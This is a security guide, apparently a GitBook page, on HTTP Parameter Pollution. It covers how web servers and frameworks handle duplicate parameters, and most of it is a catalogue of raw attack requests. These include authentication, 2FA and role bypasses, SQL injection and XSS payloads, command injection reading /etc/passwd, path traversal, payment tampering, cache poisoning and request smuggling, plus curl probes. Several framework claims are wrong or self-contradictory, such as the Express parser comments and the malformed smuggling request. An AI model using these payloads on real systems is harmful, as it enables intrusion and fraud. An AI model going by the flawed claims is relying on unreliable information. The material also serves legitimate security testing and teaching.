This guide is currently under development, and I greatly welcome any suggestions or feedback or at reaper.gitbook@gmail.com

HTTP Parameter Pollution

Understanding HTTP Parameter Pollution (HPP)

What is HTTP Parameter Pollution?

HTTP Parameter Pollution (HPP) is a vulnerability that occurs when web applications accept and process multiple HTTP parameters with the same name in unexpected ways. Different technologies (web servers, application frameworks, WAFs) may handle duplicate parameters differently, leading to security bypasses, authentication issues, and application logic flaws.

Vulnerable Scenario Example

GET /search?category=books&category=electronics&price=100 HTTP/1.1
Host: example.com

Different Technology Handling:

  • PHP: Takes the last value → category=electronics

  • ASP.NET: Takes the first value → category=books

  • Python Flask: Creates an array → category=['books', 'electronics']

  • Java Servlet: Takes the first value → category=books

  • Node.js: Takes the last value → category=electronics

How HPP Works

HPP exploits the inconsistent handling of duplicate HTTP parameters across different technologies in the application stack. When multiple components process the same HTTP request differently, attackers can craft requests that bypass security controls or alter application logic.

Parameter Processing Flow

  1. Client Request - Sends HTTP request with duplicate parameters

  2. Load Balancer/WAF - May process parameters one way

  3. Web Server - May process parameters differently

  4. Application Framework - May have different processing logic

  5. Backend Logic - Receives processed parameters

Impact and Consequences

  • Authentication Bypass - Bypassing login mechanisms

  • Authorization Bypass - Accessing restricted resources

  • Input Validation Bypass - Circumventing security filters

  • Logic Flaw Exploitation - Manipulating business logic

  • WAF/IDS Evasion - Bypassing security controls

  • Cache Poisoning - Polluting cache with malicious content

Technology-Specific Parameter Handling

Web Server Behavior

Apache HTTP Server:

  • Default: Concatenates parameters with &

  • Example: param=value1&param=value2param=value1&value2

  • mod_rewrite: May behave differently based on configuration

Nginx:

  • Default: Takes the last parameter value

  • Example: param=value1&param=value2param=value2

  • Can be configured to handle differently

IIS (Internet Information Services):

  • Default: Concatenates parameters with ,

  • Example: param=value1&param=value2param=value1,value2

Application Framework Behavior

PHP:

// URL: /test.php?param=first&param=second
var_dump($_GET['param']); // Output: "second" (last value)
var_dump($_GET);          // Array with last value only

// To get all values, use special syntax:
// URL: /test.php?param[]=first&param[]=second
var_dump($_GET['param']); // Array: ["first", "second"]

ASP.NET:

// URL: /test.aspx?param=first&param=second
string value = Request.QueryString["param"];    // "first" (first value)
string[] values = Request.QueryString.GetValues("param"); // ["first", "second"]

Java Servlet:

// URL: /test?param=first&param=second
String value = request.getParameter("param");        // "first" (first value)
String[] values = request.getParameterValues("param"); // ["first", "second"]

Python Flask:

# URL: /test?param=first&param=second
from flask import request

value = request.args.get('param')        # "first" (first value)
values = request.args.getlist('param')  # ["first", "second"]

Node.js (Express):

// URL: /test?param=first&param=second
// Default behavior depends on query parser

// With default parser:
req.query.param  // "second" (last value)

// With extended parser:
req.query.param  // ["first", "second"] (array)

Ruby on Rails:

# URL: /test?param=first&param=second
params[:param]  # "second" (last value)

# For arrays: /test?param[]=first&param[]=second
params[:param]  # ["first", "second"]

Basic HPP Attack Techniques

Authentication Bypass

Login Form Parameter Pollution

Basic Authentication Bypass:

POST /login HTTP/1.1
Host: vulnerable-app.com
Content-Type: application/x-www-form-urlencoded

username=admin&password=wrong&username=guest&password=guest

Scenario Analysis:

  • WAF/Security Filter: Sees username=admin&password=wrong → Allows (wrong password)

  • Application Backend: Processes username=guest&password=guest → Authenticates successfully

Advanced Login Bypass:

POST /login HTTP/1.1
Host: vulnerable-app.com
Content-Type: application/x-www-form-urlencoded

username=admin&password=admin&username=admin&password=admin123

Real-World Example:

POST /admin/login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

username=normaluser&password=normalpass&username=admin&password=admin

Multi-Factor Authentication Bypass

2FA Token Pollution:

POST /verify-2fa HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

username=victim&token=000000&username=attacker&token=123456

SMS Code Bypass:

POST /verify-sms HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

phone=+1234567890&code=wrong&phone=+1111111111&code=111111

Authorization Bypass

Role-Based Access Control Bypass

Admin Role Escalation:

GET /admin/users?role=user&role=admin HTTP/1.1
Host: example.com
Cookie: session=user_session_token

Permission Override:

POST /api/user/update HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

user_id=1234&permissions=read&user_id=5678&permissions=admin

Resource Access Control Bypass

File Access Control:

GET /download?file=public.txt&file=../../../etc/passwd HTTP/1.1
Host: example.com

Database Record Access:

GET /api/records?id=123&access=user&id=456&access=admin HTTP/1.1
Host: example.com

Input Validation Bypass

WAF/Security Filter Evasion

SQL Injection Filter Bypass:

POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

query=legitimate&query=' OR '1'='1

WAF Processing:

  • First parameter: query=legitimate → Passes validation

  • Application receives: query=' OR '1'='1 → SQL injection executes

XSS Filter Bypass:

GET /search?term=safe&term=<script>alert('XSS')</script> HTTP/1.1
Host: example.com

Command Injection Bypass:

POST /system/command HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

cmd=ping&args=127.0.0.1&cmd=ping&args=127.0.0.1; cat /etc/passwd

Content Security Policy Bypass

CSP Header Manipulation:

GET /api/config?csp=strict&csp=none HTTP/1.1
Host: example.com

CORS Policy Bypass:

GET /api/data?origin=safe.com&origin=evil.com HTTP/1.1
Host: example.com

Advanced HPP Exploitation

Business Logic Manipulation

E-commerce Price Manipulation

Shopping Cart Manipulation:

POST /cart/add HTTP/1.1
Host: shop.example.com
Content-Type: application/x-www-form-urlencoded

item_id=123&price=100&quantity=1&item_id=123&price=1&quantity=1

Discount Code Stacking:

POST /checkout/apply-discount HTTP/1.1
Host: shop.example.com
Content-Type: application/x-www-form-urlencoded

code=SAVE10&code=SAVE20&code=SAVE50

Payment Amount Manipulation:

POST /payment/process HTTP/1.1
Host: shop.example.com
Content-Type: application/x-www-form-urlencoded

amount=100.00&currency=USD&amount=1.00&currency=USD

User Profile Manipulation

Email Address Pollution:

POST /profile/update HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

email=user@example.com&email=attacker@evil.com&verified=true

Permission Escalation:

POST /user/permissions HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

user_id=1234&role=user&permissions=read&user_id=1234&role=admin&permissions=write,delete

Cache Poisoning via HPP

Web Cache Deception

Cache Key Manipulation:

GET /api/user/profile?user_id=victim&user_id=attacker HTTP/1.1
Host: example.com
Cache-Control: public, max-age=3600

CDN Cache Poisoning:

GET /assets/script.js?version=1.0&version=malicious HTTP/1.1
Host: cdn.example.com
X-Forwarded-Host: evil.com

Cache Poisoning Attack Chain

Step 1: Poison Cache

GET /api/config?theme=light&theme=<script>alert('XSS')</script> HTTP/1.1
Host: example.com

Step 2: Victim Request

GET /api/config?theme=light HTTP/1.1
Host: example.com

Result: Victim receives cached malicious response

Load Balancer and Reverse Proxy Exploitation

Backend Server Manipulation

Server Selection Bypass:

GET /admin/panel?server=web1&server=admin-internal HTTP/1.1
Host: example.com

Load Balancer Routing:

GET /api/sensitive?region=public&region=internal HTTP/1.1
Host: example.com
X-Forwarded-For: 192.168.1.100

Request Smuggling via HPP

HTTP Request Smuggling:

POST /search HTTP/1.1
Host: example.com
Content-Length: 100
Transfer-Encoding: chunked

query=safe&query=
0

POST /admin/delete HTTP/1.1
Host: example.com
Content-Length: 0

Framework-Specific HPP Vulnerabilities

PHP Applications

PHP Parameter Processing Quirks

Array vs String Confusion:

// URL: /test.php?param=value1&param[]=value2
var_dump($_GET['param']);
// Result: "value1" (string overwrites array)

// URL: /test.php?param[]=value1&param=value2
var_dump($_GET['param']);
// Result: "value2" (string overwrites array)

PHP Session Manipulation:

POST /login.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

PHPSESSID=attacker_session&username=admin&PHPSESSID=victim_session

PHP Configuration Bypass:

GET /upload.php?MAX_FILE_SIZE=1000000&MAX_FILE_SIZE=unlimited HTTP/1.1
Host: example.com

WordPress HPP Vulnerabilities

WordPress Parameter Pollution:

GET /wp-admin/admin.php?page=users&action=delete&action=edit&user_id=1 HTTP/1.1
Host: wordpress-site.com
Cookie: wordpress_logged_in_hash

Plugin Parameter Pollution:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wordpress-site.com
Content-Type: application/x-www-form-urlencoded

action=plugin_action&nonce=valid_nonce&action=admin_action&user_id=1

ASP.NET Applications

ViewState Manipulation

ViewState Parameter Pollution:

POST /aspx-page.aspx HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

__VIEWSTATE=legitimate_viewstate&__VIEWSTATE=malicious_viewstate&__EVENTVALIDATION=valid

Control State Manipulation:

POST /secure-page.aspx HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

txtUsername=admin&txtPassword=wrong&txtUsername=user&txtPassword=user123

ASP.NET Core HPP

Model Binding Confusion:

POST /api/users HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

Id=123&Name=John&Role=User&Id=456&Name=Admin&Role=Administrator

Route Parameter Pollution:

GET /api/users/123?id=456&id=789 HTTP/1.1
Host: example.com

Java Web Applications

Java Servlet Parameter Handling

Spring Framework HPP:

POST /spring/user/update HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

userId=123&role=user&permissions=read&userId=456&role=admin&permissions=write

Struts Action Parameter Pollution:

POST /struts/UserAction HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

user.id=123&user.role=user&user.id=456&user.role=admin

JSP Parameter Processing

JSP Request Parameter Pollution:

<%
String userId = request.getParameter("userId");          // First value
String[] userIds = request.getParameterValues("userId"); // All values
%>

<!-- URL: /page.jsp?userId=123&userId=456 -->
<!-- userId = "123", userIds = ["123", "456"] -->

Node.js Applications

Express.js Parameter Handling

Query Parser Configuration:

// Different configurations lead to different behaviors
app.use(express.urlencoded({ extended: false })); // qs library
app.use(express.urlencoded({ extended: true }));  // querystring library

// URL: /test?param=first&param=second
// extended: false → param = "second"
// extended: true  → param = ["first", "second"]

Custom Middleware Pollution:

app.use((req, res, next) => {
    // Vulnerable middleware
    if (req.query.admin === 'true') {
        req.user.isAdmin = true;
    }
    next();
});

// Attack: /app?admin=false&admin=true

Fastify Parameter Handling

Fastify Schema Bypass:

// Schema validation
const schema = {
    querystring: {
        type: 'object',
        properties: {
            userId: { type: 'string' }
        }
    }
};

// Attack: /api/user?userId=123&userId[]=malicious

HTTP Method-Specific HPP

GET Parameter Pollution

URL Query String Manipulation

Basic GET HPP:

GET /search?query=safe&category=books&query=<script>alert('XSS')</script> HTTP/1.1
Host: example.com

URL Fragment Pollution:

GET /page#param=value1&param=value2 HTTP/1.1
Host: example.com

Mixed GET Parameters:

GET /api/data?format=json&callback=safe&format=jsonp&callback=malicious HTTP/1.1
Host: example.com

POST Parameter Pollution

Form Data Manipulation

application/x-www-form-urlencoded:

POST /form-handler HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

username=user&password=pass&action=login&username=admin&action=delete

multipart/form-data:

POST /upload HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="action"

upload
------WebKitFormBoundary
Content-Disposition: form-data; name="action"

delete_all
------WebKitFormBoundary--

JSON Parameter Pollution

JSON Body Manipulation:

POST /api/user HTTP/1.1
Host: example.com
Content-Type: application/json

{
    "userId": 123,
    "role": "user",
    "userId": 456,
    "role": "admin"
}

JSON Array Pollution:

POST /api/users HTTP/1.1
Host: example.com
Content-Type: application/json

{
    "users": [
        {"id": 123, "role": "user"},
        {"id": 123, "role": "admin"}
    ]
}

HTTP Header Pollution

Custom Header Manipulation

X-Forwarded-For Pollution:

GET /api/geo-location HTTP/1.1
Host: example.com
X-Forwarded-For: 192.168.1.100
X-Forwarded-For: 8.8.8.8

Authorization Header Pollution:

GET /api/secure HTTP/1.1
Host: example.com
Authorization: Bearer invalid_token
Authorization: Bearer valid_token

Custom Application Headers:

GET /api/data HTTP/1.1
Host: example.com
X-User-Role: user
X-User-Role: admin
X-API-Key: public_key
X-API-Key: admin_key

Advanced Attack Scenarios

Multi-Stage HPP Attacks

HPP + CSRF Attack Chain

Stage 1: CSRF Token Bypass

POST /csrf-protected-action HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Referer: http://evil.com

csrf_token=invalid&action=safe&csrf_token=valid&action=dangerous

Stage 2: Session Fixation

GET /login?session_id=attacker_session&session_id=victim_session HTTP/1.1
Host: example.com

HPP + SQL Injection Chain

WAF Bypass + SQL Injection:

POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

query=books&category=fiction&query=' UNION SELECT * FROM users--

Parameter Smuggling:

GET /products?id=1&search=safe&id=1' OR '1'='1&search=<script> HTTP/1.1
Host: example.com

Microservices Architecture HPP

Service Mesh Parameter Pollution

Inter-Service Communication:

POST /service-a/api HTTP/1.1
Host: internal-mesh.com
Content-Type: application/x-www-form-urlencoded

service=service-b&action=read&user_id=123&service=admin-service&action=delete&user_id=456

API Gateway Bypass:

GET /api/v1/users?version=1&access=public&version=2&access=internal HTTP/1.1
Host: api-gateway.com

Container Orchestration HPP

Kubernetes Service Discovery:

GET /api/discover?namespace=default&service=web&namespace=kube-system&service=api-server HTTP/1.1
Host: k8s-cluster.com

Docker Swarm Service Routing:

GET /service/route?container=web1&port=80&container=admin&port=22 HTTP/1.1
Host: swarm-manager.com

HPP Detection and Exploitation Tools

Parameter Duplication Testing

Systematic Parameter Testing:

# Test different parameter positions
curl "http://target.com/search?query=safe&query=malicious"
curl "http://target.com/search?query=malicious&query=safe"

# Test mixed parameters
curl "http://target.com/api?param1=value1&param2=value2&param1=malicious"

# Test with URL encoding
curl "http://target.com/search?query=safe&query=%3Cscript%3E"

# Test with different HTTP methods
curl -X POST -d "param=safe&param=malicious" http://target.com/form

Response Analysis:

# Compare responses for parameter variations
curl -s "http://target.com/api?id=1" > response1.txt
curl -s "http://target.com/api?id=1&id=2" > response2.txt
diff response1.txt response2.txt

# Check for error messages
curl "http://target.com/api?param=value&param=" 2>&1 | grep -i error

# Monitor timing differences
time curl "http://target.com/api?param=normal"
time curl "http://target.com/api?param=normal&param=slow_query"

Last updated

Was this helpful?